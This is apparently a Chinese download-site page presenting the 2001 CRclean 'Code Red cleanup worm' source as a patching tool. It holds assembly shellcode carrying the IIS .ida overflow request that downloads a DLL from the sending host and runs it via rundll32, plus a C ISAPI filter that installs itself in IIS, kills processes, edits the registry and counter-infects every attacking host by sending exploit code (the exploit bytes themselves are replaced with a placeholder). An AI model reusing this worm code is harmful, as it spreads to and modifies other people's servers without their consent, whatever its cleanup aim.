打微软补丁的一份代码收藏
;
; CRclean.asm
; by Markus Kern <markus-kern@gmx.net>
; 06.08.2001
;
; downloads CRclean.dll from sender and executes it using rundll32.exe
; then calls ExitProcess() on success or sleeps forever on failure
;
.386p
.model flat
.code
assume fs:nothing
db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'
db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'
db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'
db 'the-destination-host-is-infected-with-Code-Red--------------'
db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'
db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'
db 'f%u0078%u0000%u00=a HTTP/1.0',0Dh,0Ah
db 'Content-type: text/xml',0Ah
db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah
; execution starts here with slightly modified Code Red v1 code
; finds GetProcAddress and kernel32.dll base
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
lea edi, [ebp-218h]
mov ecx, 86h
mov eax, 0CCCCCCCCh
rep stosd
mov [ebp-190h], dword ptr 0
lea edi, [ebp-110h]
mov eax, dword ptr fs:0
mov [edi+8], eax
mov dword ptr fs:0, edi
mov dword ptr [ebp-110h], 0FFFFFFFFh
mov dword ptr [ebp-1A8h],77E00000h
RVA_1:
cmp dword ptr [ebp-190h], 0
jnz RVA_5
mov ecx, [ebp-1A8h]
add ecx, 10000h
mov [ebp-1A8h], ecx
cmp dword ptr [ebp-1A8h],78000000h
jnz short RVA_2
mov dword ptr [ebp-1A8h],0BFF00000h
RVA_2:
mov edx, [ebp-1A8h]
xor eax, eax
mov ax, [edx]
cmp eax, 5A4Dh
jnz RVA_1
mov ecx, [ebp-1A8h]
mov edx, [ecx+3Ch]
mov eax, [ebp-1A8h]
xor ecx, ecx
mov cx, [eax+edx]
cmp ecx, 4550h
jnz RVA_1
mov edx, [ebp-1A8h]
mov eax, [edx+3Ch]
mov ecx, [ebp-1A8h]
mov edx, [ecx+eax+78h]
add edx, [ebp-1A8h]
mov [ebp-1ACh], edx
mov eax, [ebp-1ACh]
mov ecx, [eax+0Ch]
add ecx, [ebp-1A8h]
mov [ebp-1B4h], ecx
mov edx, [ebp-1B4h]
cmp dword ptr [edx], 4E52454Bh
jnz RVA_1
mov eax, [ebp-1B4h]
cmp dword ptr [eax+4], 32334C45h
jnz RVA_1
mov ecx, [ebp-1A8h]
mov [ebp-1CCh], ecx
mov edx, [ebp-1ACh]
mov eax, [ebp-1A8h]
add eax, [edx+20h]
mov [ebp-1B4h], eax
mov dword ptr [ebp-1B8h], 0
jmp short RVA_4
RVA_3:
mov ecx, [ebp-1B8h]
add ecx, 1
mov [ebp-1B8h], ecx
mov edx, [ebp-1B4h]
add edx, 4
mov [ebp-1B4h], edx
RVA_4:
mov eax, [ebp-1ACh]
mov ecx, [ebp-1B8h]
cmp ecx, [eax+18h]
jge RVA_1
mov edx, [ebp-1B4h]
mov eax, [edx]
mov ecx, [ebp-1A8h]
cmp dword ptr [ecx+eax], 50746547h
jnz RVA_3
mov edx, [ebp-1B4h]
mov eax, [edx]
mov ecx, [ebp-1A8h]
cmp dword ptr [ecx+eax+4], 41636F72h
jnz RVA_3
mov edx, [ebp-1B8h]
add edx, [ebp-1B8h]
add edx, [ebp-1A8h]
mov eax, [ebp-1ACh]
mov ecx, [eax+24h]
xor eax, eax
mov ax, [edx+ecx]
mov [ebp-1B4h], eax
mov ecx, [ebp-1ACh]
mov edx, [ecx+10h]
mov eax, [ebp-1B4h]
lea ecx, [eax+edx-1]
mov [ebp-1B4h], ecx
mov edx, [ebp-1B4h]
add edx, [ebp-1B4h]
add edx, [ebp-1B4h]
add edx, [ebp-1B4h]
add edx, [ebp-1A8h]
mov eax, [ebp-1ACh]
mov ecx, [eax+1Ch]
mov edx, [edx+ecx]
mov [ebp-1B4h], edx
mov eax, [ebp-1B4h]
add eax, [ebp-1A8h]
mov [ebp-190h], eax
jmp RVA_1
RVA_5:
lea edi, [ebp-110h]
mov eax, [edi+8]
mov dword ptr fs:0, eax
; end of Code Red code
call GET_DATA_START
d1 db 'c:/CRclean.dll',0
d2 db 'http://123.123.123.123/CRclean.dll',0 ; ip filled in by ISAPI filter
d3 db 'LoadLibraryA',0
d4 db 'urlmon.dll',0
d5 db 'GetFileAttributesA',0
d6 db 'URLDownloadToFileA',0
d7 db 'WinExec',0
d8 db 'rundll32 c:/CRclean.dll,Run',0
d9 db 'Sleep',0
d10 db 'ExitProcess',0
FilePath equ 0
Url equ d2-d1
LoadLibStr equ d3-d1
UrlMonStr equ d4-d1
GetFileAttrStr equ d5-d1
URLDownloadStr equ d6-d1
WinExecStr equ d7-d1
RundllStr equ d8-d1
SleepStr equ d9-d1
ExitProcStr equ d10-d1
GET_DATA_START:
pop esi ; start of our data
; get address of GetFileAttributesA
mov edi, esi
add edi, GetFileAttrStr
push edi
push dword ptr [ebp-1CCh] ; kernel32.dll handle
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
push eax
; get address of LoadLibraryA
mov edi, esi
add edi, LoadLibStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
; load urlmon.dll
mov edi, esi
add edi, UrlMonStr
push edi
call eax ; call LoadLibraryA
or eax, eax
jz SLEEP
; get address of URLDownloadToFileA
mov edi, esi
add edi, URLDownloadStr
push edi
push eax ; urlmon.dll handle
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
mov ebx, eax
DL_FILE:
; check if file is already there
pop eax ; get GetFileAttributesA address
push eax
mov edi, esi
add edi, FilePath
push edi
call eax ; call GetFileAttributesA
cmp eax, 0FFFFFFFFh
jne SLEEP ; we've been here before, the dll is prolly preparing IIS restart
; we sleep till we get terminated
; call URLDownloadToFileA
push 0
push 0
mov edi, esi
add edi, FilePath
push edi
mov edi, esi
add edi, Url
push edi
push 0
call ebx ; call URLDownloadToFileA
; check if file made it to the disk
pop eax ; get GetFileAttributesA address
push eax
mov edi, esi
add edi, FilePath
push edi
call eax ; call GetFileAttributesA
cmp eax, 0FFFFFFFFh
jne DL_SUCCESS
; if we just tried c: try d: now
mov edi, esi
add edi, FilePath
cmp byte ptr [edi], 'd'
je SLEEP ; neither c: nor d: did work
; set drive letter to 'd'
mov byte ptr [edi], 'd'
mov edi, esi
add edi, RundllStr+9
mov byte ptr [edi], 'd' ; change Runddll string too
jmp DL_FILE
DL_SUCCESS:
; get address of WinExec
mov edi, esi
add edi, WinExecStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
; call WinExec
push 0 ; SW_HIDE
mov edi, esi
mov edi, esi
add edi, RundllStr
push edi
call eax
cmp eax, 31
jl SLEEP
; get address of ExitProcess
mov edi, esi
add edi, ExitProcStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz SLEEP
; call ExitProcess
push 0
call eax ; terminate inetinfo.exe, on windows 2000 it will be
; restarted but we get rid of all running Code Reds
SLEEP:
; get address of Sleep
mov edi, esi
add edi, SleepStr
push edi
push dword ptr [ebp-1CCh]
call dword ptr [ebp-190h] ; call GetProcAddress
or eax, eax
jz FATAL_ERROR ; ok, we tried our best to save cpu cycles
; call Sleep
push 0FFFFFFFFh
call eax ; sleep forever
FATAL_ERROR:
jmp FATAL_ERROR
db 'end of file'
END
/*
*
* "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered
*
* CRclean.c
* by Markus Kern <markus-kern@gmx.net>
* 06.08.2001
*
* if called by rundll32:
* downloads and executes Q300972 patch from Microsoft
* removes _original_ Code Red II backdoors
* copies dll to wwwroot
* adds dll to ISAPI filter list
* restarts IIS
*
* if loaded into IIS:
* removes itself from system on IIS shutdown if it's november 2001 or later
* responds to every Code Red exploit attempt by closing the connection and infecting the attacking host
*
* the dll can be removed manually using "rundll32 CRclean.dll,Remove"
*
*/
#define INITGUID
#include <winsock.h>
#include <httpfilt.h> // ISAPI
#include <iadmw.h> // metabase
#define OUR_FILE_NAME "CRclean.dll"
#define EXPLOIT_URL_OFFSET 0x1B9
HANDLE hExploitMutex;
unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";
int IsWin2k = 1;
int NumberOfThreads; // prevent clients from DoSing us
// urlmon.dll
HINSTANCE hUrlMonDll = NULL;
HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;
// psapi.dll
HINSTANCE hPsApiDll = NULL;
BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;
BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;
DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;
DWORD WINAPI InfectThread(void* pData);
void RemoveFilter();
int ApplyPatch();
void RemoveCRII();
void RestartIIS();
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);
// dll entry point, duh
BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved)
{
return TRUE;
}
// called by IIS on initialization
BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)
{
pVer->dwFilterVersion = HTTP_FILTER_REVISION;
lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");
pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;
NumberOfThreads = 0;
// mutex to serialize access to exploit code and inet_ntoa() function
hExploitMutex = CreateMutex(NULL,FALSE,NULL);
// delete original copy of dll
DeleteFile("c://"OUR_FILE_NAME);
DeleteFile("d://"OUR_FILE_NAME);
return TRUE;
}
// called by IIS on shutdown
BOOL _export WINAPI TerminateFilter(DWORD dwFlags)
{
SYSTEMTIME st;
// remove us from system if it's november 2001 or later
GetSystemTime(&st);
if(st.wYear > 2001 || st.wMonth >= 11)
RemoveFilter();
return TRUE;
}
// called by IIS for every http request
DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)
{
char *buf;
DWORD size,ThreadID;
int i;
if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {
// get url length
size = 0;
((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);
// no problem if that short
if(size > 200) {
// alloc buffer, MSDN says this is freeed automatically by IIS
if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {
// get url
if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {
// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter
for(i=0;i<(size-200)&&buf[i]!='?';i++);
if(buf[i] == '?' && buf[i-4] == '.' &&
(buf[i-3] == 'i' || buf[i-3] == 'I') &&
(buf[i-2] == 'd' || buf[i-2] == 'D') &&
(buf[i-1] == 'a' || buf[i-1] == 'A'))
{
// get client ip and run thread to infect client
size = 32;
if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {
NumberOfThreads++;
CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);
}
// disconnect client, sizeof(buf) is at least 200
lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");
size = 64;
pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);
lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");
size = lstrlen(buf);
pfc->WriteClient(pfc,buf,&size,0);
return SF_STATUS_REQ_FINISHED;
}
}
}
}
pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);
}
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
// infects ip passed in pData
DWORD WINAPI InfectThread(void* pData)
{
SOCKET Sock;
SOCKADDR_IN Addr;
int AddrSize;
fd_set wfd;
struct timeval tv;
unsigned long nonblock;
char *buf;
Addr.sin_family = AF_INET;
Addr.sin_port = htons(80);
Addr.sin_addr.s_addr = (unsigned long)pData;
if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {
// make socket non-blocking
nonblock = 1;
ioctlsocket(Sock,FIONBIO,&nonblock);
// connect
connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));
if(WSAGetLastError() == WSAEWOULDBLOCK) {
FD_ZERO(&wfd);
FD_SET(Sock,&wfd);
tv.tv_sec = 20;
tv.tv_usec = 0;
if(select(0,0,&wfd,0,&tv)) {
// make socket blocking
nonblock = 0;
ioctlsocket(Sock,FIONBIO,&nonblock);
// get local ip used for connection
AddrSize = sizeof(Addr);
if(getsockname(Sock,&Addr,&AddrSize) == 0) {
WaitForSingleObject(hExploitMutex,INFINITE);
if((buf = inet_ntoa(Addr.sin_addr)) != 0) {
wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);
send(Sock,ExploitCode,sizeof(ExploitCode),0);
}
ReleaseMutex(hExploitMutex);
Sleep(2000);
}
}
closesocket(Sock);
}
}
NumberOfThreads--;
return 0;
}
// called by exploit code via rundll32.exe
// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called
void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
OSVERSIONINFO osvi;
HKEY hKey;
char *WebRootPath = NULL,*buf;
char ModulePath[MAX_PATH];
DWORD size;
int i;
// determine OS
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)
IsWin2k = 0;
// load DLLs we need
if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {
pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");
}
// we don't have psapi.dll on NT thus FindProcess() won't work
if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {
pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");
pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");
pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");
}
// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)
ApplyPatch();
// remove backdoors created by Code Red II, won't hurt if we do this on NT too
RemoveCRII();
// get web root
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
for(i=0;i<size&&WebRootPath[i]!=',';i++);
lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
}
}
}
RegCloseKey(hKey);
}
// prepare for spreading if we've found the web root
if(WebRootPath) {
// copy us to webroot for distribution
lstrcpy(ModulePath,"c://");
lstrcat(ModulePath,OUR_FILE_NAME);
if(!CopyFile(ModulePath,WebRootPath,TRUE)) {
ModulePath[0] = 'e';
if(!CopyFile(ModulePath,WebRootPath,TRUE))
ModulePath[0] = 0;
}
if(ModulePath[0] != 0) {
// add us to ISAPI filter list if copy was successful
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
if(size <= 2) {
lstrcpy(buf,WebRootPath);
} else if(buf[size-2] == ',') {
lstrcat(buf,WebRootPath);
} else {
lstrcat(buf,",");
lstrcat(buf,WebRootPath);
}
RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
}
LocalFree(buf);
}
} else {
// RegQueryValueEx() failed, the value probably doesn't exist, we create it
RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);
}
RegCloseKey(hKey);
}
}
LocalFree(WebRootPath);
}
// restart IIS to get rid of our own and any Code Red code still running in IIS's address space
// IIS will load our ISAPI filter on restart
RestartIIS();
// unload DLLs before we leave
if(hUrlMonDll)
FreeLibrary(hUrlMonDll);
if(hPsApiDll)
FreeLibrary(hPsApiDll);
return;
}
// what can I say? it's here because it wasn't much effort
void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
RemoveFilter();
if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n"
"Reinstalling the entire system is strongly recommended!/r/n"
"Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES)
{
RestartIIS();
}
return;
}
// removes us from ISAPI filter list
void RemoveFilter()
{
HKEY hKey;
char *WebRootPath = NULL,*buf,*p,*s;
DWORD size;
int i;
// get web root
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
for(i=0;i<size&&WebRootPath[i]!=',';i++);
lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
}
}
}
RegCloseKey(hKey);
}
if(WebRootPath) {
// remove us from IIS's ISAPI filter list
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
if(size >= lstrlen(WebRootPath)) { // can't be our string if shorter than WebRootPath
if((buf = (char*)LocalAlloc(0,size+16)) != 0) {
if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
// do a case insesitive compare
CharLower(WebRootPath);
CharLower(buf);
// search for WebRootPath
for(i=0;i<=size-lstrlen(WebRootPath);i++) {
for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);
if(*s == 0) { // match
if(lstrlen(buf) == lstrlen(WebRootPath))
buf[0] = 0;
else if(i == 0)
lstrcpy(buf,p+1); // +1 for comma after WebRootPath
else
lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath
break;
}
}
RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
}
LocalFree(buf);
}
}
}
RegCloseKey(hKey);
}
// delete this file on next reboot
MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
LocalFree(WebRootPath);
}
return;
}
// downloads Q300972 from microsoft and runs it
int ApplyPatch()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProc;
LANGID LangID;
char Url[256],Path[MAX_PATH];
int i;
LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,
LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };
char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB",
"JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };
LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,
LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,
LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,
LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };
char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no",
"pl","pt","ru","es","sv","tr" };
// prepare download url
LangID = GetSystemDefaultLangID();
lstrcpy(Url,"http://download.microsoft.com/download/");
// win 2k
if(IsWin2k) {
lstrcat(Url,"win2000platform/patch/q300972/nt5/");
for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);
if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
i++;
if(i < 22)
wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);
else // use US as default
lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");
// win nt
} else {
lstrcat(Url,"winntsp/patch/q300972/nt4/");
for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);
if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
i++;
if(i < 13)
lstrcat(Url,NtLangStr[i]);
else // use US as default
lstrcat(Url,"en-us/");
lstrcat(Url,"Q300972i.exe");
}
// download and execute patch
if(pURLDownloadToCacheFile) {
if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {
for(i=0;i<sizeof(si);i++)
((unsigned char*)&si)[i] = 0;
si.cb = sizeof(si);
// run patch
if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π)) {
if(IsWin2k) {
// wait 3 mins for hotfix to install
Sleep(3*60*1000);
// patch either displays message box informing about successfull install or an error message
// user can't see this message box, we kill hotfix.exe in either case
// the process we created above cleans up all the temp files when hotfix.exe terminates
if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {
TerminateProcess(hProc,0);
CloseHandle(hProc);
// wait till we can delete downloaded file
WaitForSingleObject(pi.hProcess,3*60*1000);
DeleteFile(Path);
}
} else {
// on NT we just let the hotfix run, luser will click OK eventually
// restarting IIS is enough to activate the new idq.dll, no need to reboot
}
CloseHandle(pi.hProcess);
return 0;
}
}
}
return 1;
}
// removes Code Red II backdoors
void RemoveCRII()
{
DWORD size;
HANDLE hProc;
HKEY hKey;
IMSAdminBaseW *Meta;
METADATA_HANDLE hMetaKey;
char Path[MAX_PATH];
// search and destroy trojan explorer.exe
if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {
TerminateProcess(hProc,0);
WaitForSingleObject(hProc,10*1000);
CloseHandle(hProc);
}
if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {
TerminateProcess(hProc,0);
WaitForSingleObject(hProc,10*1000);
CloseHandle(hProc);
}
// delete explorer trojan, need to remove readonly attribute for DeleteFile() to work
SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);
DeleteFile("c://explorer.exe");
SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);
DeleteFile("d://explorer.exe");
// remove cmd.exe backdoors
DeleteFile("c://inetpub//scripts//root.exe");
DeleteFile("d://inetpub//scripts//root.exe");
DeleteFile("c://progra~1//common~1//system//msadc//root.exe");
DeleteFile("d://progra~1//common~1//system//msadc//root.exe");
// reenable file protection
// we probably need to reboot to activate the change, user will do this for us on next OS crash
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {
size = 0;
RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));
RegCloseKey(hKey);
}
// clean up registry
// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase
// and restores changes of already present registry values from this metabase on restart
// means we must delete /C and /D from the metabase
// the /scripts and /msadc changes apparently never made it there and the corresponding registry values
// have probably been restored by IIS after CRII's reboot
// there're days I'm very glad I don't have to think the way Microsoft engineers do
CoInitialize(NULL);
if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {
MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);
if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {
Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00"); // unicode
Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");
Meta->lpVtbl->CloseKey(Meta,hMetaKey);
}
Meta->lpVtbl->Release(Meta);
}
CoUninitialize();
// must do this to prevent IIS from copying it back into metabase on restart
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {
RegDeleteValue(hKey,"/C");
RegDeleteValue(hKey,"/D");
RegCloseKey(hKey);
}
return;
}
// restarts IIS
void RestartIIS()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
SC_HANDLE hManager,hSvc;
SERVICE_STATUS SvcStat;
int i;
if(IsWin2k) {
// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines
for(i=0;i<sizeof(si);i++)
((unsigned char*)&si)[i] = 0;
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE; // don't scare the clueless
si.dwFlags = STARTF_USESHOWWINDOW;
CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,π);
} else {
// we don't have iisreset.exe on NT
if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {
if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {
// stop iis
ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);
// wait till shutdown completed
ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);
for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {
Sleep(1000);
QueryServiceStatus(hSvc,&SvcStat);
}
// and restart it
StartService(hSvc,0,NULL);
CloseServiceHandle(hSvc);
}
CloseServiceHandle(hManager);
}
}
return;
}
// searches process list for ProcessToFind
// caller is responsible for closing returned handle
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName)
{
DWORD ProcList[1024],size,msize;
HANDLE hProc;
HMODULE hMod;
char Path[MAX_PATH];
int i;
// search for process
if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {
if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))
for(i=0;i<size/sizeof(DWORD);i++)
if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {
if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))
if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))
if(OnlyCompareFileName) {
if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)
return hProc;
} else {
if(lstrcmpi(Path,ProcessToFind) == 0)
return hProc;
}
CloseHandle(hProc);
}
}
return NULL;
}
相关推荐
windows socket 泄漏相关补丁包.zip
# 使用说明 三个补丁具体使用方式见下文,选择一个安装即可。 ## 问题描述 当Windows2008R2系统运行时间超过497天,TCP/IP的网络资源(端口)就不会再自动释放,在运行一段时间后,本机的网络资源就会被全部用光。这样就会造成系统中任何需要网络资源的组件都无法正常工作,例如DNS,replication等。 故障现象如: 1. 同域控通信异常,表现为使用域用户登陆报‘同域控失去联系 2. 共享文件夹,外部ip用户无法访问 3. 域名解析失败 4. 如果该windows2008为桌面云关键组件如域控、controller、viewconnection,则将导致整个桌面云平台异常,用户登陆失败等问题。 ## 处理过程 1. 确认是否是该问题 - Windows事件日志中查看6013事件,计算当前操作系统运行时间是否超过497天 - Windows事件日志中重复报5719事件:RPC服务器不可用 2. 对运行时间超过497天的局点,先重启windows2008R2系统,恢复业务 3. 打上系统补丁,彻底解决此问题 - KB976932: 微软提供的hotfix补丁,目前官网已经下线,下载不到了 - KB2577795: 另一个可能导致该问题的补丁,解决系统socket泄露的问题 - KB976932: windows server 2008R2 的SP1更新包,涵盖了上述两个补丁,比较大,可在官网下载:https://www.microsoft.com/zh-CN/download/details.aspx?id=5842
【网络安全】Xred蠕虫再分析及修复工具编写
蠕虫病毒很老了,已经有很多前辈分析过该病毒,跟着前辈们的思路深入分析一下,并编写一个清理工具。这是我分析的第一个真实环境下的恶意样本,文中如果有不正确的地方请指正。
windows 2008 R2解决socket连接不释放补丁包
